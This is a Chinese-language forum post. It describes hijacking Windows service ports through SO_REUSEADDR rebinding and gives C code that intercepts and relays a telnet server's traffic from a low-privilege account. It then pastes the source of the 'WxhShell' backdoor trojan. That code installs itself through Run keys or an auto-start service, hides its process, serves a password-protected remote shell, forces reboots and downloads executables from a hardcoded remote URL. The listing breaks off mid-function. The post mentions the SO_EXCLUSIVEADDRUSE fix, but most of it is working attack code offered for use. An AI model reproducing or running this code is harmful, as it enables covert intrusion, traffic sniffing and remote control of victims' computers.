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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5[u]E~Fl}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bbyg8;/  
u-5{U-^_  
  saddr.sin_family = AF_INET; (=@h23 vH  
,nB5/Lx  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #ucBo<[  
H DFOA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N' `A?&2ru  
.h4 \Y A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >&5DsV.B  
5N&?KA-  
  这意味着什么?意味着可以进行如下的攻击:  !=P1%  
s}% M4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l2P=R)@{  
W1=H8 O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hFl^\$Re  
2V;PYI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  1HZO9cXJ  
n#OB%@]<V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J6FV]Gpv  
?m? ::RH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V% 6I\G2/:  
={wcfhUl+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;x@~A^<el  
<?4V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8q}q{8  
exUu7& *:  
  #include UQ@L V~6{R  
  #include ?oHpFlj  
  #include SJ>vwmA4  
  #include    d,n 'n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *6DB0X_-}  
  int main() g~A`N=r;h  
  { -:y,N 9^  
  WORD wVersionRequested; "mvt>X  
  DWORD ret; .+A+|yR  
  WSADATA wsaData; DG:Z=LuJr  
  BOOL val; [}0haTYc4  
  SOCKADDR_IN saddr; EGF '"L  
  SOCKADDR_IN scaddr; 76h ,]xi  
  int err; oEKvl3Hz_  
  SOCKET s; =w 2**$  
  SOCKET sc; l#Y,R 0  
  int caddsize; X LOh7(  
  HANDLE mt; "]b<uV  
  DWORD tid;   FSW_<%  
  wVersionRequested = MAKEWORD( 2, 2 ); X!dYdWw*m  
  err = WSAStartup( wVersionRequested, &wsaData ); ;P%1j|7  
  if ( err != 0 ) { [;) ,\\u,d  
  printf("error!WSAStartup failed!\n"); ~<F8ug #  
  return -1; .MoU1n{Yc  
  } RO/FF<f  
  saddr.sin_family = AF_INET; ~;{; ,8!)  
   G^4hd i3@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .Od !0(0  
65$+{s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uH- l%17  
  saddr.sin_port = htons(23); LR.<&m%~.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Fgh_9S9J  
  { A1>OY^p3%  
  printf("error!socket failed!\n"); 70tH:Z)"  
  return -1; WX|`1b  
  } ~^fZx5  
  val = TRUE; j0evq+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G[I"8iS,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JL}_72gs  
  { Y;^l%ePuW  
  printf("error!setsockopt failed!\n"); d K3*;  
  return -1; }"%?et(  
  } E GU 0)<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X296tA>C`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9BBmw(M}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0 e ~JMUb  
c"V"zg22  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3/e.38m|  
  { >T3-  
  ret=GetLastError(); V>-e y9Q\  
  printf("error!bind failed!\n"); q"sed]  
  return -1; ]e>w }L(gV  
  } !_D0vI;  
  listen(s,2); 9YQb &  
  while(1) ^{;oM^Q'  
  { Z<y I\1  
  caddsize = sizeof(scaddr); [KaAXv .X  
  //接受连接请求 ^-Kf']hU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V0.vQ/  
  if(sc!=INVALID_SOCKET) jaMjZp;{(  
  { s;Z\Io  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dx{bB%?Y\=  
  if(mt==NULL) s6v ;  
  { sF?TmBQ*  
  printf("Thread Creat Failed!\n"); # 0Q]dO  
  break; JZ*/,|1}EC  
  } ju8q?Nyhs  
  } bj0G5dc=  
  CloseHandle(mt); A_ N;   
  } 0c'<3@39k|  
  closesocket(s); KNpl:g3{<Q  
  WSACleanup(); RD'Q :W  
  return 0; #9}D4i.`}  
  }   LW'D?p#  
  DWORD WINAPI ClientThread(LPVOID lpParam) xPk8$1meZM  
  { ag#S6E^%S  
  SOCKET ss = (SOCKET)lpParam; i6tf2oqO7  
  SOCKET sc; w/S%YW3*  
  unsigned char buf[4096]; .4M.y:F  
  SOCKADDR_IN saddr; aa?b`[Xa  
  long num; aS{n8P6vW  
  DWORD val; st3l2Q  
  DWORD ret; y'~U%,ki6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 YY((V@|K  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +N9X/QFKV  
  saddr.sin_family = AF_INET; EQyC1j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w\}ieI8J  
  saddr.sin_port = htons(23); '}JhzKNj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !N7s dY  
  { N^ds RYC  
  printf("error!socket failed!\n"); F2dHH^  
  return -1; ^ft>@=K(|  
  } U;V7 u/{  
  val = 100; YX7L?=;.@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8'.Hyy@;  
  { EXwo,?I  
  ret = GetLastError(); (G u zN  
  return -1; "XKy#[d2  
  } z8~NZ;A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :q7Wy&ow  
  { UcDS9f_87  
  ret = GetLastError(); t#/YN.@r  
  return -1; *{@Nq=fE  
  } RtP2]O(F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ic:(Gi- %  
  { wj<6kG  
  printf("error!socket connect failed!\n"); ooL!TS GD  
  closesocket(sc); y$F'(b| )  
  closesocket(ss); }6}l7x  
  return -1; >~sI8czR*  
  } ?|C2*?hZ+  
  while(1) A*R^n}sh  
  { Z{Qu<vy_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +I:Unp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cAqLE\h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (KD RkE|=  
  num = recv(ss,buf,4096,0); "f2$w  
  if(num>0) 9y8&9<#  
  send(sc,buf,num,0); 7Lc]HSZo,  
  else if(num==0) o>i4CCU+  
  break; |`,2ri*5A  
  num = recv(sc,buf,4096,0); \*y-g@-{W$  
  if(num>0) 7P5)Z-K[  
  send(ss,buf,num,0); Z1f8/?`W  
  else if(num==0) =^f<v_L  
  break; sPQQ"|wU  
  } $}q23  
  closesocket(ss); \?ZB]*Fu  
  closesocket(sc); #s( BuVU  
  return 0 ; Y%aCMP9j~9  
  } @|m/djN5x  
c(m<h+ 2VL  
$q{!5-e  
========================================================== q[ZTHd.-  
xY8$I6  
下边附上一个代码,,WXhSHELL 9C9oUtS  
A_ZY=jP   
========================================================== Z'W =\rl  
M}-Rzc  
#include "stdafx.h" 2'\H\|  
$am$ EU?s  
#include <stdio.h> (9 GWbB?  
#include <string.h> uc\Kg1{  
#include <windows.h> {.|CdqwY  
#include <winsock2.h> _p/UsJ  
#include <winsvc.h> _pG-qK  
#include <urlmon.h> 6=/F$|  
fk>aqm7D!  
#pragma comment (lib, "Ws2_32.lib") cn3\kT*  
#pragma comment (lib, "urlmon.lib") F4z{LhZ  
F6|]4H.3Q  
#define MAX_USER   100 // 最大客户端连接数 D|p9qe5%  
#define BUF_SOCK   200 // sock buffer Fb>?1i`RN  
#define KEY_BUFF   255 // 输入 buffer 70nqD>M4  
n\D&!y[]F  
#define REBOOT     0   // 重启 gzT*-  
#define SHUTDOWN   1   // 关机 yYYSeH  
At>DjKx]O  
#define DEF_PORT   5000 // 监听端口 g%I"U>!2  
j0aXyLNX  
#define REG_LEN     16   // 注册表键长度 XFpjYwn  
#define SVC_LEN     80   // NT服务名长度 rfg'G&A(  
5m 4P\y^a  
// 从dll定义API gO-  _  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  A,<E\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uyWunpT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Pn1^NUMZJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AKfDXy  
*n ]GsOOn  
// wxhshell配置信息 q`7PhA  
struct WSCFG { p)-^;=<B3  
  int ws_port;         // 监听端口 #q$HQ&k  
  char ws_passstr[REG_LEN]; // 口令 rJ4S%6w  
  int ws_autoins;       // 安装标记, 1=yes 0=no +GN(Ug'R  
  char ws_regname[REG_LEN]; // 注册表键名 tSUEZ62EY  
  char ws_svcname[REG_LEN]; // 服务名 7Q9 w?y~c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B dfwa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t%)7t9j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \?-<4Bc@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $8h%a 8I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  7xlkZF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AV]2 euyn  
? :%@vM  
}; 3;9^  
WE#^a6  
// default Wxhshell configuration V2EUW!gn 2  
struct WSCFG wscfg={DEF_PORT, f'RX6$}\1X  
    "xuhuanlingzhe", >uRI'24  
    1, 'JE`(xD  
    "Wxhshell", V=l0(03j~  
    "Wxhshell", Ic<2QknmP  
            "WxhShell Service", Wvh#:Z  
    "Wrsky Windows CmdShell Service", ebhXak[w  
    "Please Input Your Password: ", Q3~H{)[Kq  
  1, Nh|uO?&C6  
  "http://www.wrsky.com/wxhshell.exe", ; DR$iH-F  
  "Wxhshell.exe" t{9GVLZ  
    }; 0Mm)`!TLSW  
eo?bL$A[s  
// 消息定义模块 ;igIZ$&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |wMN}bq|T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sl l\g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]F~dlH1Wp  
char *msg_ws_ext="\n\rExit."; %[TR^Th6  
char *msg_ws_end="\n\rQuit."; :3Ox~o  
char *msg_ws_boot="\n\rReboot..."; |HQW0  
char *msg_ws_poff="\n\rShutdown..."; M|h3Wt~7  
char *msg_ws_down="\n\rSave to "; !f [_+CD  
@,+5y\]C  
char *msg_ws_err="\n\rErr!"; PC8Q"O  
char *msg_ws_ok="\n\rOK!";  <kqo^  
>+1duAC  
char ExeFile[MAX_PATH]; cV6D<,)  
int nUser = 0; lUZ+YD4  
HANDLE handles[MAX_USER]; .`eN8Dl1  
int OsIsNt; !e<^? r4  
 kDioD  
SERVICE_STATUS       serviceStatus; bAqA1y3=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p]TAELy  
2%m BK  
// 函数声明 &p@O _0nF  
int Install(void); qEOhwrh  
int Uninstall(void); Yj49t_$b  
int DownloadFile(char *sURL, SOCKET wsh); qyTU8Wp  
int Boot(int flag); 03Ycf'W  
void HideProc(void); $6 f3F?y7  
int GetOsVer(void); ^ZcGY+/~  
int Wxhshell(SOCKET wsl); TD0 B%  
void TalkWithClient(void *cs); /([kh~a  
int CmdShell(SOCKET sock); J*M>6Q.)  
int StartFromService(void); %tGO?JMkd  
int StartWxhshell(LPSTR lpCmdLine); wP@(?z  
!F$6-0%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gwMNYMI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F$]Pk|,  
 =:pJ  
// 数据结构和表定义 8nV+e~-w  
SERVICE_TABLE_ENTRY DispatchTable[] = "!^"[mX4  
{ CA~-rv  
{wscfg.ws_svcname, NTServiceMain}, ?6U0PChy  
{NULL, NULL} R-$!9mnr  
}; g) jYFfGfH  
chX"O 0?"  
// 自我安装 }Sv:`9=  
int Install(void) T0)@pt7>  
{ #\OA)`U  
  char svExeFile[MAX_PATH]; ~f98#43  
  HKEY key; usF.bkTp  
  strcpy(svExeFile,ExeFile); 8l`*]1.W<  
#*Ctwl,T  
// 如果是win9x系统,修改注册表设为自启动 3s#N2X;Bc  
if(!OsIsNt) { y<Ot)fa$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~c `l@:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5 7c8xk[.2  
  RegCloseKey(key); U Cjld  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g($2Dk_F2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NBGH_6DROw  
  RegCloseKey(key); e\L8oOk#r  
  return 0; YOO+R{4(  
    } ?e 4/p  
  } 5\ nAeP  
} 7kE n \  
else { XSLFPTDEc  
 b>ySv  
// 如果是NT以上系统,安装为系统服务 z2GY:<s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tWc Hb #  
if (schSCManager!=0) VOLj>w  
{ gPPkT"  
  SC_HANDLE schService = CreateService WNtW|I V  
  (  @q) d  
  schSCManager, lThB2/tV\  
  wscfg.ws_svcname, [7y]n;Fy  
  wscfg.ws_svcdisp, 8":Q)9;%  
  SERVICE_ALL_ACCESS, O=7CMbS3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s~X%Y<9l  
  SERVICE_AUTO_START, =I_'.b  
  SERVICE_ERROR_NORMAL, w}L[u r;I_  
  svExeFile, tCt#%7J;a  
  NULL, eaU  
  NULL, p`qgrI`  
  NULL, ?:0Jav  
  NULL, sYA1\YIii  
  NULL BI@[\aRLQ  
  ); S_H+WfIHV'  
  if (schService!=0) dR]m8mdqc1  
  { 8}:nGK|kx  
  CloseServiceHandle(schService); h<QY5=S F  
  CloseServiceHandle(schSCManager); 5b7RY V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]`WJOx4  
  strcat(svExeFile,wscfg.ws_svcname); $6IJ P\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Nh +H9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5z)~\;[ -  
  RegCloseKey(key); &rR2,3r=  
  return 0; N;%6:I./  
    } f$QNg0v  
  } v3>UV8c'  
  CloseServiceHandle(schSCManager); m1AJ{cs  
} om>KU$g  
} 8&dF  
*o ix6  
return 1; Aos+dP5h,8  
} #/37V2E  
Fsg*FH7J  
// 自我卸载 F!K>Kz  
int Uninstall(void) lyhiFkO iH  
{ A=0'Ks  
  HKEY key;  Vxt+]5X  
(QB2T2x  
if(!OsIsNt) { oXgcc*j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )+Pus~w  
  RegDeleteValue(key,wscfg.ws_regname); (/] J3  
  RegCloseKey(key); N'=gep0V@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [Ch.cE_  
  RegDeleteValue(key,wscfg.ws_regname); zm;C\s rF  
  RegCloseKey(key); GC'O[q+  
  return 0; j'K/22  
  } Ax}JLPz5'  
} `Q,H|hp;k;  
} X}0cCdW  
else { a8Wwq?@  
aw>#P   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }Y4qS  
if (schSCManager!=0) 8q7b_Pq1U  
{ HxI" 8A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c:.eGH_f  
  if (schService!=0) &%Tj/Qx  
  { ,R|BG  
  if(DeleteService(schService)!=0) { cB&:z)i4  
  CloseServiceHandle(schService); oP.7/*p  
  CloseServiceHandle(schSCManager); ddR>7d}N  
  return 0; Z3!`J&  
  } Ek}A]zC  
  CloseServiceHandle(schService); 9N3eN  
  } tq?!-x+>  
  CloseServiceHandle(schSCManager); TL#3;l^  
} +"VP-s0  
} +"@ .8m  
(7*}-Uy[C  
return 1; SgOheN-  
} *8XEYZa  
@KAI4LP  
// 从指定url下载文件 #.[k=dj   
int DownloadFile(char *sURL, SOCKET wsh) 3;Fhg!Z O  
{ vvOV2n .WD  
  HRESULT hr; ehY5!D1Q  
char seps[]= "/"; [0 e_*  
char *token; [ikOb8 G#  
char *file; xId.GWY1  
char myURL[MAX_PATH]; Xha..r  
char myFILE[MAX_PATH]; {VoHh_[5%  
YK~%xo  
strcpy(myURL,sURL); 1-QS~)+  
  token=strtok(myURL,seps); .%QXzIa3F  
  while(token!=NULL) CJI~_3+K  
  { W@!S%Y9  
    file=token; ;9g2?-svw  
  token=strtok(NULL,seps); OZ!^ak  
  } 4E?Oky#}-  
6LZ;T.0o  
GetCurrentDirectory(MAX_PATH,myFILE); S21,VpW\  
strcat(myFILE, "\\"); ^Zp>G{QL{  
strcat(myFILE, file); dcT80sOC  
  send(wsh,myFILE,strlen(myFILE),0); j <RrLn_  
send(wsh,"...",3,0); _<2E"PrT   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G*v,GR  
  if(hr==S_OK) }o{(S%%  
return 0; c[Zje7 @  
else %u5]>]M+  
return 1; Om {'1  
;jTN | i'  
} 7"xd1l?zz  
6S\8$  
// 系统电源模块 {FTqu.  
int Boot(int flag) @xZR9Z8]L  
{ WOf 4o  
  HANDLE hToken; 4v|W-h"K  
  TOKEN_PRIVILEGES tkp; u> / TE  
61 ~upQaR  
  if(OsIsNt) { g$o&Udgs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BL58] P84  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xAP+FWyV  
    tkp.PrivilegeCount = 1; (_{y B[z>`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '[O;zJN;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uRe'%?W  
if(flag==REBOOT) { da~],MN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tFl"n;~T  
  return 0; &YeA:i?  
} P L+sR3bR  
else { 1g~R/*Jo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /|#fejPh  
  return 0; HE_8(Ms ;8  
} :p6M=  
  } Ld-_,-n  
  else { IdxzE_@  
if(flag==REBOOT) { w)jISu;RG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G<;*SYAb  
  return 0; S>; 5[l 4  
} ;IM}|2zuN  
else { HLHz2-lI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qb` \)X]9  
  return 0; EDs\,f}  
} ,3 u}x,  
} B4 8={  
,wdD8ZT'Ip  
return 1; 8SS|a  
} h3@v+Z<}  
HiJE}V;Vq  
// win9x进程隐藏模块 $7A8/#  
void HideProc(void) 7i1q wRv  
{ 7 x?<*T  
8kDp_s i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b*Q&CL  
  if ( hKernel != NULL ) r-/`"j{O!  
  { R_S.tT!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]:/Q]n^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lCHO;7YHX  
    FreeLibrary(hKernel); *s iFj CN<  
  } $a ` G  
<yg F(  
return; &XUiKnNW  
} Yp2eBgo"  
>~+ELVB&  
// 获取操作系统版本 {P#|zp4C{  
int GetOsVer(void) U\!X,a*ts{  
{ CQDkFQq-dq  
  OSVERSIONINFO winfo; 1hNq8*|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (0kK_k'T  
  GetVersionEx(&winfo); @2v_pJy^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2gVm9gAHUd  
  return 1; 2SR:FUV/  
  else t#eTV@-  
  return 0; !m?-!:  
} d9|<@A  
.Rf_Cl  
// 客户端句柄模块 %3''}Y5  
int Wxhshell(SOCKET wsl) P J[`|  
{ K@w{"7}  
  SOCKET wsh; 0NX,QD  
  struct sockaddr_in client; >t_6B~x9  
  DWORD myID; t}tEvh  
G?Hdq;  
  while(nUser<MAX_USER) G9<X_  
{ /fV;^=:8c  
  int nSize=sizeof(client); ?#UO./"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OprkR  
  if(wsh==INVALID_SOCKET) return 1; OY@ %p}l  
w$-6-rE]d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S#} KIy  
if(handles[nUser]==0) )q3p-)@kQ  
  closesocket(wsh); 6<(.4a?  
else fXQNHZ|4  
  nUser++; i&GH/y  
  } Xh;#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %sQ^.` 2  
3=]sLn0L  
  return 0; "@,}p\  
} G+\GaY[  
0'?L#K  
// 关闭 socket UN<]N76!  
void CloseIt(SOCKET wsh) Gjo`&#  
{ qPfQy  
closesocket(wsh); lQkQ9##*   
nUser--; 2x0<&Xy#P  
ExitThread(0); hODWB&b  
} /J6rv((  
0}q uG^%_  
// 客户端请求句柄 aPbE;" f  
void TalkWithClient(void *cs) Q^txVUL  
{ ^eYVWQ'  
LTx,cP  
  SOCKET wsh=(SOCKET)cs; 0F><P?5  
  char pwd[SVC_LEN]; \.#>=!Ie  
  char cmd[KEY_BUFF]; %;YHt=(1*X  
char chr[1]; NGOfb  
int i,j; K~uq,~  
,',o'2=!  
  while (nUser < MAX_USER) { = 6\^%  
)~ h}  
if(wscfg.ws_passstr) { o`N  9!M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :1KpGj*F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (,Df^4%7  
  //ZeroMemory(pwd,KEY_BUFF); ]yPqLJ  
      i=0; C/6V9;U  
  while(i<SVC_LEN) { :'*~uJrR  
3y8G?LL/[7  
  // 设置超时 9\JF`ff_  
  fd_set FdRead; r#] WI|  
  struct timeval TimeOut; (+y  
  FD_ZERO(&FdRead); .z}~4BY  
  FD_SET(wsh,&FdRead); K~eh P[^  
  TimeOut.tv_sec=8; =h73s0 ]  
  TimeOut.tv_usec=0; F;0}x;:>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s>n)B^64W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oj_3ZsO  
V-L"gnd&2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %UCr;H/  
  pwd=chr[0]; oWo- j<  
  if(chr[0]==0xd || chr[0]==0xa) { =D#bb <o  
  pwd=0; :$BCRQ  
  break; um>6z_"  
  } ^\&e:Nkh  
  i++; _&ks1cw  
    } "y/?WQ>,3  
7CTFOAx#  
  // 如果是非法用户,关闭 socket |3yL&"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %m$Sp47  
} ?|B&M\}g  
a8Nh=^Py  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mmRJ9OhS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ptxbDzOz  
JKGe"  
while(1) { Jd^,]  
GKc`xIQ  
  ZeroMemory(cmd,KEY_BUFF); gz#i.-  
q2:6QM&  
      // 自动支持客户端 telnet标准   h Pa_VrH  
  j=0; I- >Ss},U  
  while(j<KEY_BUFF) { qfRH5)k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5 -RsnF  
  cmd[j]=chr[0]; 6h,(wo3Y  
  if(chr[0]==0xa || chr[0]==0xd) { j@uOOhy  
  cmd[j]=0; e@* EzvO  
  break; ?\s+EE&-  
  } /9p wZ%:<  
  j++; o@i#|kx,  
    } 6 EC*   
 l(tOe  
  // 下载文件 :;fHDU|  
  if(strstr(cmd,"http://")) { (uZ&V7l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HqD^B[ jS  
  if(DownloadFile(cmd,wsh)) 9=h'9Wo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^)*-Bo)I  
  else  ^J)mH[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !"/n/jz  
  } @wo(tf=@P  
  else { 0+;bh {Eu  
90*5 5\>{  
    switch(cmd[0]) { Y U5(g^<  
  J!pygn O  
  // 帮助 rb+j*5Es  
  case '?': { 9}F*P669f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L4z ~B!uvF  
    break; Rww{:R  
  } w\i\Wp,FP  
  // 安装 (w/T-*  
  case 'i': { Xe:jAkDp  
    if(Install()) Df<xWd2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (I{rLS!o,L  
    else K<ft2anY5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +kO!Xc%P&  
    break; (UvM@]B  
    } q[W 0 N >  
  // 卸载 Q&=w_Wc  
  case 'r': { 4Vi`* !  
    if(Uninstall()) 1A G<$d5U|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ig0j`  
    else D"rK(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T)TfB(  
    break; 8xV9.4S  
    } $r8 ^0ZRr  
  // 显示 wxhshell 所在路径 "(z5{z?S  
  case 'p': { vyX\'r.~7  
    char svExeFile[MAX_PATH]; r6} |hpJ8  
    strcpy(svExeFile,"\n\r"); Q)" Nu.m &  
      strcat(svExeFile,ExeFile); 7k9G(i[-+  
        send(wsh,svExeFile,strlen(svExeFile),0); c[4i9I3v  
    break; `e|0g"oP  
    } <vh/4  
  // 重启 v|%Z+w  
  case 'b': { '~[d=fwH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e2t-4} ww  
    if(Boot(REBOOT)) QaS7z#/?.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dDGgvi|[Mz  
    else { EwC{R`  
    closesocket(wsh); 33ef/MElD$  
    ExitThread(0); eWtZ]kB  
    } -vR5BMy=  
    break; '\ey<}?5V  
    } A1D^a,  
  // 关机 lpeEpI/gM  
  case 'd': { }v*G_}^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4@n1Uk  
